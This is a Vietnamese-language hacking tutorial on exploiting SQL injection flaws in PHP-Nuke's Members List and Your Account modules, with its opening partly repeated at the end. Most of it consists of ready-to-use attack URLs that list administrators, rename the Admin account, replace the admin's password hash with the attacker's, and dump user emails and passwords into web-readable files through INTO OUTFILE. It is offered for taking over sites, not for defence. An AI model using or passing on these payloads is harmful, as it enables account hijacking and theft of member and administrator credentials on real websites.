Hack Php-Nuke, Khai thác lỗi trong modules Members List.
Hack Php-Nuke, Khai thác lỗi trong modules Members List:trang này đã được đọc lần Khai thác lỗi trong module PHP-Nuke Lỗi trong module Members_List có thể lấy mật khẩu thành viên và Admin.Cách khai thác như sau:Trong Module Members_List- Hiển thị tất cả thành viên được sắp xếp theo mật khẩu http://<trang web phpNuke>/modules.php?name=Members_List&letter=All&sortby=pass- Hiển thị tất cả thành viên được sắp xếp theo UIDhttp://<trang web phpNuke>/modules.php?name=Members_List&letter=All&sortby=uid Hai câu truy vấn bên trên thì không có gì để để nói. Híc híc. Bây giờ là câu truy vấn thứ ba- Hiển thị tất cả Moderators http://<trang web phpNuke>/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*- Hiển thị tất cả Administrator http://<trang web phpNuke>/modules.php?name=Members_List&letter='%20OR%20user_level='4'/* .</SPAN>*Khai thác Admin.Chuyển đổi tên "Admin" thành "seamoun" chẳng hạn. Khà khàhttp://<trang web phpNuke>/modules.php?name=Your_Account&op=savetheme&theme=',name='seamoun'%20where%20uname='Admin'/*&uid=[OUR_UID]Chuyển đổi mật khẩu của Admin (md5). Để có được mật khẩu md5 của mình các bạn có thể tự tạo cho mình một mật khẩu sau đó view trong dữ liệu để lấy mã hoá md5. Khỏi mất công viết cho mệt. Ở đây cái mật khẩu md5 của mình đã mã hoá rùi là b6d0de971824629e987b84d513dc8af0http://<trang web phpNuke>/modules.php?name=Your_Account&op=saveuser&email=',pass='b6d0de971824629e987b84d513dc8af0'%20where%20uname='Admin'/*&uid=[OUR_UID]Vậy là ta có thể Login với tên của mình và mật khẩu của mình tự tao ra. Hì hìLàm như trên thì mỗi lần ta chỉ làm cho một user thui. Vậy thì mệt quá, để lấy tất cả mật khẩu cũng như mail lưu thành tệp email chẳng hạn.Câu lệnh như sau sẽ lưu thông tin của userhttp://<trang web phpNuke>/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/<đường dẫn web>/email.txt'/*Sau khi thực hiện lệnh nó sẽ tạo ra một file trên host. để view file này thì đường dẫn nó làhttp://<trang web phpNuke>/email.txt- Lưu tất cả thông tin của Admin vào một tệp admin.txthttp://<trang web phpNuke>/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/<đường dẫn web>/admin.txtĐường dẫn để view trang này thì cũng như trênTài liệu tham khảo: phpsecure . Hack Php-Nuke, Khai thác lỗi trong modules Members List: trang này đã được đọc lần Khai thác lỗi trong module PHP-Nuke Lỗi trong module Members_ List. Admin.Cách khai thác như sau :Trong Module Members_ List- Hiển thị tất cả thành viên được sắp xếp theo mật khẩu http://<trang web phpNuke> /modules. php?name =Members_ List& amp;letter=All&sortby=pass-